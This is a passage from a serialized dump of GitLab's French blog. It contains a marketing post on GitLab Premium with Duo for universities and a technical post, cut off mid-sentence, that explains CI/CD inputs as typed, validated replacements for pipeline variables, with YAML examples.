src=\"https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### En savoir plus sur GitLab Duo combiné à Amazon Q\n\n* [GitLab Duo combiné à Amazon Q : quand le DevSecOps rencontre l’IA agentique](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai/)\n* [GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS disponible à tous les utilisateurs](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n* [GitLab Duo combiné à Amazon Q : créez de nouvelles fonctionnalités en quelques minutes](https://about.gitlab.com/fr-fr/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes/) \n* [GitLab Duo combiné à Amazon Q : optimisez vos revues de code](https://about.gitlab.com/fr-fr/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q/)",[699,700,784],{"featured":6,"template":683,"slug":974},"enhance-application-quality-with-ai-powered-test-generation","content:fr-fr:blog:enhance-application-quality-with-ai-powered-test-generation.yml","Enhance Application Quality With Ai Powered Test Generation","fr-fr/blog/enhance-application-quality-with-ai-powered-test-generation.yml","fr-fr/blog/enhance-application-quality-with-ai-powered-test-generation",{"_path":980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":981,"content":985,"config":992,"_id":994,"_type":16,"title":995,"_source":17,"_file":996,"_stem":997,"_extension":20},"/fr-fr/blog/ai-native-gitlab-premium-transform-higher-education-software-development",{"noIndex":6,"title":982,"ogTitle":982,"description":983,"ogDescription":983,"ogImage":984},"GitLab Premium et l’IA : au cœur de l'enseignement supérieur","La plateforme DevSecOps facilite les workflows, la protection des données, le support, la collaboration, la sécurité et la productivité au niveau universitaire.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_820,h_500,c_lfill/v1749659537/Blog/Hero%20Images/display-article-image-0679-1800x945-fy26.png",{"title":982,"description":983,"authors":986,"heroImage":984,"date":989,"category":676,"tags":990,"body":991},[987,988],"Jessica Hurwitz","Elisabeth Burrows","2025-07-07",[550,676,675,188],"Les établissements d'enseignement supérieur s'appuient de plus en plus sur des pratiques modernes de développement logiciel dans leurs missions pédagogiques, leurs activités de recherche et la gestion de leurs infrastructures. Face à des besoins en développement logiciel de plus en plus complexes, GitLab Premium avec [GitLab Duo](https://about.gitlab.com/gitlab-duo/ \"Qu'est-ce que GitLab Duo ?\") fournit des fonctionnalités essentielles qui répondent aux défis spécifiques du secteur universitaire, notamment en matière de développement [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\"), de collaboration à distance et de sécurité globale.\n\nLa plateforme DevSecOps complète alimentée par l'IA de GitLab offre des fonctionnalités qui vont bien au-delà du simple [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\"). Basée sur une architecture open source et dotée de fonctionnalités avancées, GitLab Premium permet de prévenir les incidents de sécurité coûteux impliquant des données sensibles d'étudiants, propose des environnements de développement cloud accessibles aux équipes situées à différents emplacements géographiques et offre une assistance professionnelle adaptée aux systèmes critiques des établissements d'enseignement. [GitLab Premium inclut à présent le chat et les suggestions de code, des fonctionnalités d'IA clés de GitLab Duo](https://about.gitlab.com/fr-fr/blog/gitlab-premium-with-duo/), et ce sans frais supplémentaires.\n\n## Les particularités du développement logiciel dans l'enseignement supérieur\n\nLes universités et les établissements d'enseignement supérieur opèrent dans un environnement technique particulièrement complexe. Les équipes de développement doivent faciliter une collaboration multidisciplinaire entre les services techniques et non techniques, tout en gérant de grandes quantités de données sensibles (dossiers des étudiants, informations financières, résultats de recherche, évaluations des professeurs).\n\nLa plupart des établissements doivent travailler avec des ressources informatiques limitées et prendre en charge simultanément des milliers d'utilisateurs participant à un grand nombre de projets et d'initiatives de recherche. L'intégrité exigée dans le cadre de la recherche ajoute un niveau supplémentaire de complexité, car le travail de développement doit souvent adhérer à des normes de traçabilité et de reproductibilité.\n\n## Les fonctionnalités de GitLab Premium pour l'éducation\n\nGitLab Premium avec GitLab Duo offre les fonctionnalités dont l'enseignement supérieur a besoin.\n\n### Amélioration de la collaboration et capacités de workflow\n\nLes projets qui impliquent différents services sont courants dans le secteur universitaire, qu'il s'agisse d'initiatives de recherche interdisciplinaire ou du développement de modules personnalisés pour des systèmes d'ERP. Ces projets complexes nécessitent une gestion sophistiquée des workflows qui ne se limite pas uniquement au simple contrôle de version.\n\nGitLab Premium répond à ces défis en offrant des fonctionnalités de collaboration et de visualisation de projet, notamment des epics, des roadmaps et des tableaux Kanban avancés pour les workflows de développement Agile. En attribuant plusieurs approbateurs à certaines merge requests et branches protégées, vous garantissez une meilleure qualité du code et une plus grande responsabilisation des équipes. Ces outils permettent aux établissements de coordonner les travaux entre les différents services, tout en s'assurant que ces efforts sont alignés sur les objectifs globaux de l'institution. Il s'agit d'une condition essentielle pour gérer efficacement des initiatives technologiques qui se déroulent en plusieurs étapes à l'échelle du campus.\n\nEn Australie, l'équipe Digital Enablement de l'Université Deakin utilise GitLab pour créer des processus standardisés et des templates réutilisables (templates de merge request personnalisés, pipelines de compilation basés sur un template, framework de sécurité et de conformité) qu'elle partage avec la communauté universitaire et les développeurs citoyens. Cette approche favorise l'innovation et renforce la collaboration à la fois au sein de l'université et avec ses partenaires stratégiques. « Nous voulions depuis longtemps créer une communauté et l'aider à se développer, mais sans succès, jusqu'à l'adoption de cet outil », confie Aaron Whitehand, Director of Digital Enablement à l'Université Deakin.\n\n**Découvrez comment l'[Université Deakin](https://about.gitlab.com/customers/deakin-university/) utilise GitLab pour renforcer la collaboration et la productivité, notamment grâce à une réduction de 60 % des tâches manuelles.**\n\n### Protection et gouvernance avancées des données\n\nLes établissements d'enseignement génèrent et gèrent des quantités considérables de données (dossiers des étudiants, informations financières, résultats de recherche, évaluations des professeurs, et bien plus encore). La sécurité de ces informations est un enjeu majeur. La [faille de sécurité MOVEit](https://universitybusiness.com/in-just-3-months-this-data-breach-has-compromised-nearly-900-institutions/) de 2023, qui a duré trois mois et compromis environ 900 établissements d'enseignement, a exposé les informations sensibles de plus de 62 millions de personnes. Cet exemple illustre l'importance cruciale d'intégrer des mesures de sécurité proactives directement dans les workflows de développement dans ce secteur.\n\nLe scanning des vulnérabilités bloque les sorties de nouvelles versions de code qui contiennent des risques de sécurité afin de permettre aux établissements de mettre en place et de faire respecter des protocoles de gouvernance qui protègent ces données sensibles. Cette fonctionnalité aide les universités à mettre en œuvre des contrôles d'accès et des structures d'autorisation adaptés aux bases de données de recherche. Ce framework sécurisé garantit que seuls les chercheurs autorisés disposent des droits d'accès nécessaires et assure une protection stricte sans entraver la collaboration entre les différentes équipes.\n\nLa plateforme de GitLab est conçue dès le départ pour garantir la sécurité de votre code source. Les dépôts [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\") évolutifs, des contrôles d'accès granulaires et des fonctionnalités de conformité intégrées éliminent les goulots d'étranglement dans votre workflow tout en répondant aux exigences de sécurité. GitLab Premium fournit des fonctionnalités de suivi des audits et de conformité essentielles, particulièrement adaptés aux environnements éducatifs. Les pistes d'audit complètes consignent sous forme de logs l'ensemble des modifications apportées au code, les tentatives d'accès et les modifications du système, en incluant les horodatages ainsi que les utilisateurs concernés. La documentation exhaustive sur la gestion des modifications garantit une traçabilité optimale (auteur, date et motif), essentielle pour garantir l'intégrité de la recherche. Quant à l'audit du contrôle d'accès, il permet de surveiller l'accès au dépôt et les changements d'autorisations.\n\n### Développement cloud et collaboration à distance\n\nLes établissements d'enseignement modernes requièrent des environnements de développement flexibles, adaptés aux besoins des équipes situées à différents emplacements géographiques, aux scénarios d'apprentissage à distance et aux diverses exigences techniques. \n\nGitLab Premium offre donc les avantages suivants :\n\n* [Workspaces GitLab](https://docs.gitlab.com/user/workspace/) : environnements de développement cloud accessibles depuis n'importe quel appareil\n* [Intégration au Web IDE](https://docs.gitlab.com/user/project/web_ide/) : codage basé sur le navigateur avec une intégration complète des fonctionnalités de GitLab\n* [Développement conteneurisé](https://about.gitlab.com/blog/build-and-run-containers-in-remote-development-workspaces/) : environnements de développement cohérents et reproductibles, quelle que soit la nature du projet ou le groupe d'utilisateurs\n\nCes fonctionnalités sont particulièrement utiles pour prendre en charge les modèles d'apprentissage à distance et hybrides. Elles permettent aux étudiants et aux chercheurs d'accéder à des environnements de développement standardisés, indépendamment de leur emplacement physique ou des contraintes matérielles locales.\n\n### Assistance professionnelle pour les systèmes critiques\n\nLes petites équipes informatiques des établissements d'enseignement prennent souvent en charge des infrastructures importantes et complexes avec des ressources minimales. Elles doivent parfois s'appuyer sur des forums communautaires, mais la fiabilité des réponses n'est pas toujours garantie. Par ailleurs, cette approche n'est pas efficace pour les structures de grande envergure. C'est pourquoi GitLab Premium inclut une assistance professionnelle dédiée, qui permet de résoudre les problèmes plus rapidement et d'obtenir de l'aide pour les mises à niveau pendant les périodes critiques, telles que les inscriptions aux cours ou les échéances de recherche.\n\nCette assistance réduit au maximum les temps d'arrêt des services critiques et garantit la continuité des opérations pendant les périodes de pointe, ce qui donne aux services informatiques surchargés la fiabilité dont ils ont besoin pour les systèmes essentiels.\n\n### Architecture open source, performances d'entreprise\n\nLes logiciels open source sont développés de manière collaborative et publique, le code source pouvant être librement consulté, modifié et distribué par tous. Ce modèle de développement favorise l'innovation grâce aux contributions de la communauté et garantit un fonctionnement homogène des logiciels. La base open source de GitLab est en parfaite adéquation avec les valeurs fondamentales des établissements d'enseignement en matière de collaboration, de transparence et de contribution communautaire. Les fonctionnalités de GitLab Premium enrichissent cette base avec des capacités de niveau entreprise et offrent parallèlement la possibilité de contribuer à l'écosystème open source.\n\nVoici les principaux avantages de l'open source :\n\n* **Une transparence totale** : visibilité complète sur les fonctionnalités de la plateforme et les mesures de sécurité. Vous savez précisément comment le logiciel fonctionne.\n* **Une contribution de la communauté** : possibilité de contribuer à améliorer l'outil au bénéfice de la communauté au sens large et de profiter de l'expertise d'une communauté mondiale de développeurs et développeuses. \n* **Une indépendance vis-à-vis des fournisseurs** : réduction du risque de blocage avec des alternatives open source et liberté de modifier le code au besoin.\n* **Des opportunités de co-création** : développement collaboratif avec la communauté, y compris d'autres établissements universitaires, pour concevoir des solutions partagées.\n\n### Assistant d’IA dédié au développement logiciel\n\nGitLab Premium avec GitLab Duo intègre de puissantes capacités d'IA directement dans le workflow de développement, avec notamment :\n\n* Les [suggestions de code](https://docs.gitlab.com/user/project/repository/code_suggestions/ \"suggestions de code GitLab\"), qui fournissent une complétion et des suggestions de code en temps réel, pour aider les équipes de développement à écrire du code plus rapidement et plus efficacement.\n* Le [chat](https://docs.gitlab.com/user/gitlab_duo_chat/ \"GitLab Duo Chat\"), qui permet d'obtenir des réponses instantanées aux questions posées, de résoudre les problèmes et d'accéder à la documentation directement dans l'environnement GitLab.\n\nCes outils d'IA améliorent considérablement la productivité, réduisent les erreurs et renforcent la collaboration. C'est précisément la raison pour laquelle GitLab Premium est un atout encore plus précieux pour les équipes de développement logiciel dans l'enseignement supérieur.\n\n### La transparence comme principe fondateur\n\nLes établissements d'enseignement supérieur traitent des données particulièrement sensibles, qu’il s’agisse de dossiers étudiants, de résultats de recherche, de travaux universitaires confidentiels ou d'informations liées à des financements publics.\n\nLe [Centre pour la transparence de l'IA de GitLab](https://about.gitlab.com/fr-fr/ai-transparency-center/ \"Centre de transparence de l'IA de GitLab\") démontre notre engagement en faveur de la transparence, de la responsabilisation, de la protection des données et de la propriété intellectuelle des clients et fournit les garanties de confidentialité dont les établissements d'enseignement ont besoin.\n\nNous avons lancé ce centre afin d'aider nos clients, notre communauté et nos équipes à mieux comprendre comment GitLab applique les principes d'éthique et de transparence dans ses fonctionnalités alimentées par l'IA.\n\nNotre documentation publique détaille l'ensemble des mesures mises en place pour protéger les données et la propriété intellectuelle de votre établissement. Les [principes d'éthique IA pour le développement de produits de GitLab](https://handbook.gitlab.com/handbook/legal/ethics-compliance-program/ai-ethics-principles/) nous guident dans la création et l'amélioration de nos fonctionnalités d'IA, afin d'aider les établissements d'enseignement supérieur à tirer parti des promesses de l'IA, tout en conservant un contrôle total et une surveillance complète de leurs actifs les plus précieux.\n\n## Découvrez GitLab Premium dès aujourd'hui\n\nPour les établissements d'enseignement, GitLab Premium avec GitLab Duo représente un investissement technologique stratégique, qui combine les avantages du développement open source avec des fonctionnalités d'IA native de niveau entreprise. En fournissant des outils de qualité professionnelle prêts à relever les défis propres à l'environnement technique complexe de l'enseignement supérieur, GitLab Premium avec GitLab Duo aide les établissements à corriger les failles de sécurité, à rationaliser les workflows de développement et à maintenir une infrastructure fiable dont dépendent les opérations universitaires et de recherche.\n\nDécouvrez [GitLab pour le secteur public](https://about.gitlab.com/fr-fr/solutions/public-sector/ \"GitLab pour le secteur public\") ou [contactez notre équipe commerciale](https://about.gitlab.com/fr-fr/sales/ \"Contacter les équipes de GitLab\") dès aujourd'hui.",{"featured":6,"template":683,"slug":993},"ai-native-gitlab-premium-transform-higher-education-software-development","content:fr-fr:blog:ai-native-gitlab-premium-transform-higher-education-software-development.yml","Ai Native Gitlab Premium Transform Higher Education Software Development","fr-fr/blog/ai-native-gitlab-premium-transform-higher-education-software-development.yml","fr-fr/blog/ai-native-gitlab-premium-transform-higher-education-software-development",{"_path":999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1000,"content":1003,"config":1010,"_id":1012,"_type":16,"title":1013,"_source":17,"_file":1014,"_stem":1015,"_extension":20},"/fr-fr/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline",{"noIndex":6,"title":1001,"description":1002},"Intrants CI/CD : transmission de paramètres aux pipelines","Les intrants CI/CD de GitLab remplacent les variables par des paramètres typés et validés pour transmettre des instructions fiables et sécurisées aux pipelines.",{"heroImage":1004,"body":1005,"authors":1006,"updatedDate":1008,"date":989,"title":1001,"tags":1009,"description":1002,"category":676},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658912/Blog/Hero%20Images/blog-image-template-1800x945__20_.png","Les intrants CI/CD représentent une avancée majeure dans la gestion des\npipelines. \n\nSpécialement conçus pour passer des paramètres typés, validés et sécurisés, ils instaurent des contrats explicites et une sécurité renforcée entre les composants de vos workflows et résolvent enfin les limites structurelles auxquelles les équipes de développement font face depuis des années avec les variables traditionnelles.\n\n\nLes variables CI/CD ont été détournées de leur usage initial. Historiquement, elles étaient conçues pour stocker des paramètres de configuration, et non comme un mécanisme sophistiqué de transmission de paramètres dans le cadre de workflows complexes. Ce décalage a entraîné son lot de problèmes : manque de fiabilité, failles de sécurité, complexité croissante en termes de maintenance.\n\n\nDans cet article, découvrez pourquoi les intrants CI/CD sont désormais l'approche recommandée pour passer des paramètres à vos pipelines, ainsi que leurs nombreux avantages (sécurité des types, prévention des échecs de pipeline, élimination des conflits entre variables, automatisation simplifiée). Des exemples concrets illustreront leur mise en œuvre et les problèmes qu'ils résolvent, dans l'espoir de vous convaincre d'abandonner les solutions de contournement à base de variables au profit d'une approche plus fiable et structurée.\n\n\n## Les coûts cachés de la transmission de paramètres via des variables\n\n\nUtiliser des variables pour passer des paramètres aux pipelines peut sembler pratique, mais cette approche peut être source de frustration et poser de nombreux risques. \n\n\n**Absence de validation des types**\n\n\nLes variables sont des chaînes de caractères. Sans validation des types, un pipeline peut recevoir accidentellement une chaîne à la place d'une valeur booléenne ou d'un nombre et entraîner des échecs inattendus. Un workflow de déploiement de production critique peut par exemple échouer quelques heures après son démarrage, car une vérification booléenne dans une variable n'a pas été transmise correctement.\n\n\n**Mutabilité pendant l'exécution**\n\n\nLes variables peuvent être modifiées à tout moment lors de l'exécution du pipeline, ce qui génère des comportements imprévisibles lorsque plusieurs jobs tentent de modifier les mêmes valeurs. Par exemple, deploy_job_a définit `DEPLOY_ENV=staging`, mais deploy_job_b attribue la valeur `production` à `DEPLOY_ENV`. \n\n\n**Risques de sécurité**\n\n\nLes variables utilisées comme de simples paramètres héritent souvent des mêmes autorisations d'accès que les secrets sensibles, ce qui entraîne des problèmes de sécurité. Il n'existe aucun contrat définissant les paramètres attendus par un pipeline, leurs types ou leurs valeurs par défaut. Ainsi, un paramètre apparemment anodin comme `BUILD_TYPE` peut soudainement se retrouver à tort avec un accès à des secrets de production simplement parce que les variables ne font pas intrinsèquement la distinction entre les paramètres et les données sensibles.\n\n\nPire encore, les erreurs ne sont détectées qu'au moment de l'exécution du pipeline, parfois après plusieurs minutes, voire plusieurs heures. Une simple variable mal configurée peut ainsi provoquer l'échec d'un pipeline, avec à la clé la perte de précieuses ressources [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") et une perte de temps pour l'équipe de développement. Pour limiter ces risques, les équipes recourent alors à des solutions de contournement, telles que des scripts de validation maison, une documentation excessive ou des conventions de nommage complexes, autant de tentatives pour renforcer du mieux possible la fiabilité de la transmission de paramètres basée sur des variables.\n\n\nNombreux sont les utilisateurs qui ont exprimé le besoin de disposer de fonctionnalités de débogage local pour tester les configurations de leurs pipelines avant le déploiement. Bien que cette solution semble logique, elle se révèle rapidement inefficace dans la pratique. Les workflows CI/CD s'appuient sur des dizaines de systèmes tiers (fournisseurs de services cloud, dépôts d'artefacts, scanners de sécurité, cibles de déploiement), qui ne peuvent tout simplement pas être répliqués localement. Même dans cette éventualité, la complexité rendrait les environnements de test locaux presque impossibles à maintenir. Face à ces limites, une remise en question s'imposait. Au lieu de chercher à mieux tester les pipelines localement, nous avons cherché à comprendre comment nous pouvions éviter les erreurs de configuration liées à la transmission de paramètres via des variables avant même l'exécution du workflow d'automatisation CI/CD.\n\n\n## Le casse-tête de la priorité des variables\n\n\nLe système de variables de GitLab comprend plusieurs [niveaux de priorité](https://docs.gitlab.com/ci/variables/#cicd-variable-precedence) qui offrent une grande flexibilité en fonction des cas d'utilisation rencontrés. Bien que ce système soit utile dans de nombreux scénarios, comme permettre aux administrateurs de définir des valeurs par défaut à l'échelle de l'instance ou du groupe tout en autorisant les projets individuels à les remplacer si nécessaire, il peut créer des difficultés lors de la construction de composants de pipeline réutilisables.\n\n\nLorsque vous développez des composants ou des templates destinés à être partagés dans différents projets et groupes, la hiérarchie de priorité des variables peut rendre leur comportement moins prévisible. Par exemple, un template qui fonctionne parfaitement dans un projet peut produire des résultats différents dans un autre, simplement parce que certaines variables ont été redéfinies au niveau du groupe ou de l'instance et ne sont pas visibles dans la configuration locale du pipeline.\n\n\nLorsque vous combinez plusieurs templates, il devient alors difficile de savoir quelles variables sont définies ainsi qu'où et comment elles interagissent.\n\n\nEn outre, les auteurs de composants doivent non seulement documenter les variables que leur template utilise, mais également identifier les risques de conflits avec des variables susceptibles d'être définies à des niveaux de priorité plus élevés.\n\n\n### Exemples de hiérarchie de priorité des variables\n\n\n**Fichier de pipeline principal (`.gitlab-ci.yml`) :**\n\n\n```yaml\n\nvariables:\n  ENVIRONMENT: production  # Top-level default for all jobs\n  DATABASE_URL: prod-db.example.com\n\ninclude:\n  - local: 'templates/test-template.yml'\n  - local: 'templates/deploy-template.yml'\n```\n\n\n**Template de test (`templates/test-template.yml`) :**\n\n\n```yaml\n\nrun-tests:\n  variables:\n    ENVIRONMENT: test  # Job-level variable overrides the default\n  script:\n    - echo \"Running tests in $ENVIRONMENT environment\"  \n    - echo \"Database URL is $DATABASE_URL\"  # Still inherits prod-db.example.com!\n    - run-integration-tests --env=$ENVIRONMENT --db=$DATABASE_URL\n    `# Issue: Tests run in \"test\" environment but against production database`\n```\n\n\n**Template de déploiement (`templates/deploy-template.yml`) :**\n\n\n```yaml\n\ndeploy-app:\n  script:\n    - echo \"Deploying to $ENVIRONMENT\"  # Uses production (top-level default)\n    - echo \"Database URL is $DATABASE_URL\"  # Uses prod-db.example.com\n    - deploy --target=$ENVIRONMENT --db=$DATABASE_URL\n    # This will deploy to production as intended\n```\n\n\n**Défis dans cet exemple :**\n\n\n1. Héritage partiel : le job de test hérite bien de `ENVIRONMENT=test`, mais conserve `DATABASE_URL=prod-db.example.com`.  \n\n2. Coordination complexe : les auteurs de templates doivent connaître l'ensemble des variables définies en amont pour éviter les conflits.  \n\n3. Remplacement imprévisible : lorsqu'une variable définie au niveau du job porte le même nom qu'une variable globale, elle la remplace — un comportement qui peut être difficile à anticiper. \n\n4. Dépendances cachées : les templates dépendent des noms de variables définis dans le pipeline principal.\n\n\nPour relever ces défis, GitLab a introduit les [intrants CI/CD](https://docs.gitlab.com/ee/ci/inputs/ \"Qu'est-ce qu'un intrant CI/CD ?\"), une solution dédiée à la transmission des paramètres aux pipelines, qui offre des paramètres typés, validés dès la création du pipeline et non au moment de son exécution.\n\n\n## Principes de base des intrants CI/CD\n\n\nLes intrants CI/CD permettent de définir des paramètres typés pour des pipelines réutilisables, avec une validation intégrée dès leur création. Conçus spécifiquement pour fournir des valeurs au moment de l'exécution du pipeline, ils instaurent un contrat explicite entre le pipeline et ses utilisateurs : chaque paramètre attendu y est clairement défini, ainsi que son type et ses contraintes.\n\n\n### Flexibilité et portée de la configuration\n\n\nL'un des avantages des intrants CI/CD est leur flexibilité en termes de temps de configuration. Évalués et interpolés dès la création du pipeline à l'aide du format d'interpolation `$[[ inputs.input-id ]]`, ils peuvent être utilisés dans toutes les parties de la configuration de votre pipeline, y compris les noms de jobs, les conditions de règles, les images de conteneurs et tout autre élément du fichier de configuration YAML. Ils contournent ainsi les limites liées à l'interpolation des variables dans certains contextes.\n\n\nVoici un cas d'utilisation courant : vous définissez des noms de jobs comme suit : `test-$[[ inputs.environment ]]-deployment`.\n\n\nEn intégrant des intrants CI/CD dans les noms de jobs, vous évitez les conflits lorsqu'un composant est inclus plusieurs fois dans un même pipeline. Sinon, le fait d'inclure le même composant deux fois entraînerait des conflits de noms de jobs, la deuxième inclusion écrasant la première. Les intrants CI/CD permettent au contraire de générer des noms de jobs uniques à chaque inclusion.\n\n\n**Voici le script sans les intrants CI/CD :**\n\n\n```yaml\n\ntest-service:\n  variables:\n    SERVICE_NAME: auth-service\n    ENVIRONMENT: staging\n  script:\n    - run-tests-for $SERVICE_NAME in $ENVIRONMENT\n```\n\n\n**Voici le script avec les intrants CI/CD :**\n\n\n```yaml\n\nspec:\n  inputs:\n    environment:\n      type: string\n    service_name:\n      type: string\n\ntest-$[[ inputs.service_name ]]-$[[ inputs.environment ]]:\n  script:\n    - run-tests-for $[[ inputs.service_name ]] in $[[ inputs.environment ]]\n```\n\n\nLorsqu'un composant est inclus plusieurs fois avec des intrants différents, il génère des jobs tels que `test-auth-service-staging`, `test-payment-service-production` et `test-notification-service-development`. Chaque job porte ainsi un nom unique et explicite qui indique clairement son objectif, ce qui renforce la visualisation du pipeline : en effet, cela évite que plusieurs jobs avec des noms identiques se remplacent les uns les autres.\n\n\nRevenons maintenant au premier exemple présenté au début de cet article, cette fois en tirant parti des intrants CI/CD. Premier avantage immédiat : au lieu de gérer plusieurs fichiers de templates, nous pouvons désormais n'en maintenir qu'un seul et le réutiliser avec des valeurs d'intrant personnalisées :\n\n\n```yaml\n\nspec:\n  inputs:\n    environment:\n      type: string\n    database_url:\n      type: string\n    action:\n      type: string\n---\n\n\n$[[ inputs.action ]]-$[[ inputs.environment ]]:\n  script:\n    - echo \"Running $[[ inputs.action ]] in $[[ inputs.environment ]] environment\"\n    - echo \"Database URL is $[[ inputs.database_url ]]\"\n    - run-$[[ inputs.action ]] --env=$[[ inputs.environment ]] --db=$[[ inputs.database_url ]]\n```\n\n\nDans le fichier principal `gitlab-ci.yml`, nous pouvons l'inclure deux fois (ou plus) avec des valeurs différentes, en veillant à éviter les conflits de noms.\n\n\n```yaml\n\ninclude:\n  - local: 'templates/environment-template.yml'\n    inputs:\n      environment: test\n      database_url: test-db.example.com\n      action: tests\n  - local: 'templates/environment-template.yml'\n    inputs:\n      environment: production\n      database_url: prod-db.example.com\n      action: deploy\n```\n\n\n**Résultat :** au lieu de maintenir des fichiers YAML distincts pour les jobs de test et de déploiement, vous disposez désormais d'un template réutilisable unique qui gère les deux cas d'utilisation en toute sécurité. Cette approche s'adapte à un nombre illimité d'environnements ou de types de jobs, ce qui réduit les frais de maintenance, élimine la duplication du code et garantit la cohérence de l'ensemble de la configuration de votre pipeline. Vous n'avez qu'un seul template à maintenir au lieu de plusieurs, sans risque de conflit de variables ni de dérive de configuration.\n\n\n### Validation et sécurité des types\n\n\nL'un des grands atouts des intrants CI/CD par rapport aux variables réside dans les capacités de validation des types. Ils prennent en charge différents types de valeurs, notamment les chaînes, les nombres, les valeurs booléennes et les tableaux, et la validation a lieu dès la création du pipeline. Si vous définissez un intrant CI/CD en tant que valeur booléenne, mais que vous passez une chaîne, GitLab rejette le pipeline avant l'exécution de tout job, ce qui vous permet d'économiser du temps et des ressources.\n\n\nVoici un exemple illustrant l'énorme avantage de la validation des types.\n\n\n**Sans validation des types (variables) :**\n\n\n```yaml\n\nvariables:\n  ENABLE_TESTS: \"true\"  # Always a string\n  MAX_RETRIES: \"3\"      # Always a string\n\ndeploy_job:\n  script:\n    - if [ \"$ENABLE_TESTS\" = true ]; then  # This fails!\n        echo \"Running tests\"\n      fi\n    - retry_count=$((MAX_RETRIES + 1))      # String concatenation: \"31\"\n```\n\n\n**Problème :** la vérification booléenne échoue, car « `true` » (chaîne) n'est pas égal à `true` (valeur booléenne).\n\n\n**Avec validation des types (intrants CI/CD) :**\n\n\n```yaml\n\nspec:\n  inputs:\n    enable_tests:\n      type: boolean\n      default: true\n    max_retries:\n      type: number\n      default: 3\n\n\n\n      \ndeploy_job:\n  script:\n    - if [ \"$[[ inputs.enable_tests ]]\" = true ]; then  # Works correctly\n        echo \"Running tests\"\n      fi\n    - retry_count=$(($[[ inputs.max_retries ]] + 1))    # Math works: 4\n```\n\n\n**Impact réel d'un échec de validation des types via des variables** : imaginons qu'un développeur ou processus déclenche un pipeline GitLab CI/CD avec `ENABLE_TESTS = yes` au lieu de `true`. Supposons qu'il faille en moyenne 30 minutes avant que le job de déploiement ne commence : lorsque ce job démarre, au bout de 30 minutes d'exécution du pipeline ou plus, le script de déploiement tente d'évaluer la valeur booléenne et échoue.  \n\n\nCela a un impact non seulement sur le délai de mise sur le marché, mais également sur le temps de débogage requis pour trouver la raison de l'échec d'un job de déploiement apparemment basique.\n\n\nAvec les intrants CI/CD basés sur la validation des types, GitLab CI/CD génère immédiatement une erreur et fournit un message d'erreur explicite concernant l'incompatibilité de type.\n\n\n### Sécurité et contrôle d'accès\n\n\nLes intrants CI/CD renforcent la sécurité, car ils contrôlent de façon stricte la transmission de paramètres avec des contrats explicites qui définissent précisément les valeurs attendues et autorisées. Ainsi, les limites sont claires entre les paramètres et la logique du pipeline. De plus, une fois le pipeline démarré, les intrants ne peuvent pas être modifiés pendant l'exécution, ce qui garantit un comportement prévisible tout au long du cycle de vie du pipeline et permet d'éliminer les risques de sécurité liés à la manipulation des variables en cours de route.\n\n\n### Portée et cycle de vie\n\n\nLes variables définies à l'aide du mot-clé `variables:` au niveau supérieur de votre fichier `.gitlab-ci.yml` s'appliquent par défaut à tous les jobs de votre pipeline. Lorsque vous incluez des templates, vous devez tenir compte de ces variables globales, car elles peuvent interagir avec le comportement attendu du template en raison de l'ordre de priorité des variables propre à GitLab.\n\n\nÀ l'inverse, les intrants CI/CD sont définis dans les fichiers de configuration CI (par exemple, les composants ou les templates), puis des valeurs leur sont attribuées lorsqu'un pipeline est déclenché, ce qui vous permet de personnaliser les configurations CI réutilisables. Ils servent uniquement à la création et la configuration du pipeline et sont limités au fichier de configuration CI où ils sont définis. Une fois l'exécution du pipeline lancée, ils ne peuvent plus être modifiés. Étant donné que chaque composant conserve ses propres intrants, il n'y a aucun risque d'interférence avec d'autres composants ou templates de votre pipeline. Cette approche prévient les conflits et les remplacements de variables qui sont fréquents avec le système traditionnel basé sur les variables globales.\n\n\n## Combiner variables et intrants\n\n\nDe nombreuses équipes utilisent de manière intensive des workflows basés sur les variables, et une migration complète vers les intrants CI/CD ne se fait pas du jour au lendemain. C'est pourquoi nous avons développé des mécanismes qui permettent d'utiliser à la fois des intrants et des variables pour favoriser la transition entre les deux systèmes et surmonter les principaux défis liés à l'expansion des variables.\n\n\nPrenons un exemple concret pour illustrer cette complémentarité.\n\n\n**Expansion des variables dans les conditions de règles**\n\n\nL'utilisation de variables qui contiennent d'autres références au sein des conditions `rules:if` peut s'avérer problématique. GitLab ne développe les variables que sur un niveau lors de l'évaluation de ces règles, ce qui peut entraîner des comportements inattendus :\n\n\n```yaml\n\n# This doesn't work as expected\n\n\nvariables:\n  TARGET_ENV:\n    value: \"${CI_COMMIT_REF_SLUG}\"\n\ndeploy-job:\n  rules:\n    - if: '$TARGET_ENV == \"production\"'  # Compares \"${CI_COMMIT_REF_SLUG}\" != \"production\"\n      variables:\n        DEPLOY_MODE: \"blue-green\"\n```\n\n\nLa fonction `expand_vars` résout ce problème en forçant une expansion appropriée des variables dans les intrants :\n\n\n```yaml\n\nspec:\n  inputs:\n    target_environment:\n      description: \"Target deployment environment\"\n      default: \"${CI_COMMIT_REF_SLUG}\"\n---\n\n\n\ndeploy-job:\n  rules:\n    - if: '\"$[[ inputs.target_environment | expand_vars ]]\" == \"production\"'\n      variables:\n        DEPLOY_MODE: \"blue-green\"\n        APPROVAL_REQUIRED: \"true\"\n    - when: always\n      variables:\n        DEPLOY_MODE: \"rolling\"\n        APPROVAL_REQUIRED: \"false\"\n  script:\n    - echo \"Target: $[[ inputs.target_environment | expand_vars ]]\"\n    - echo \"Deploy mode: ${DEPLOY_MODE}\"\n```\n\n\n### L'importance d'une telle opérabilité\n\n\nSans `expand_vars`, les conditions de 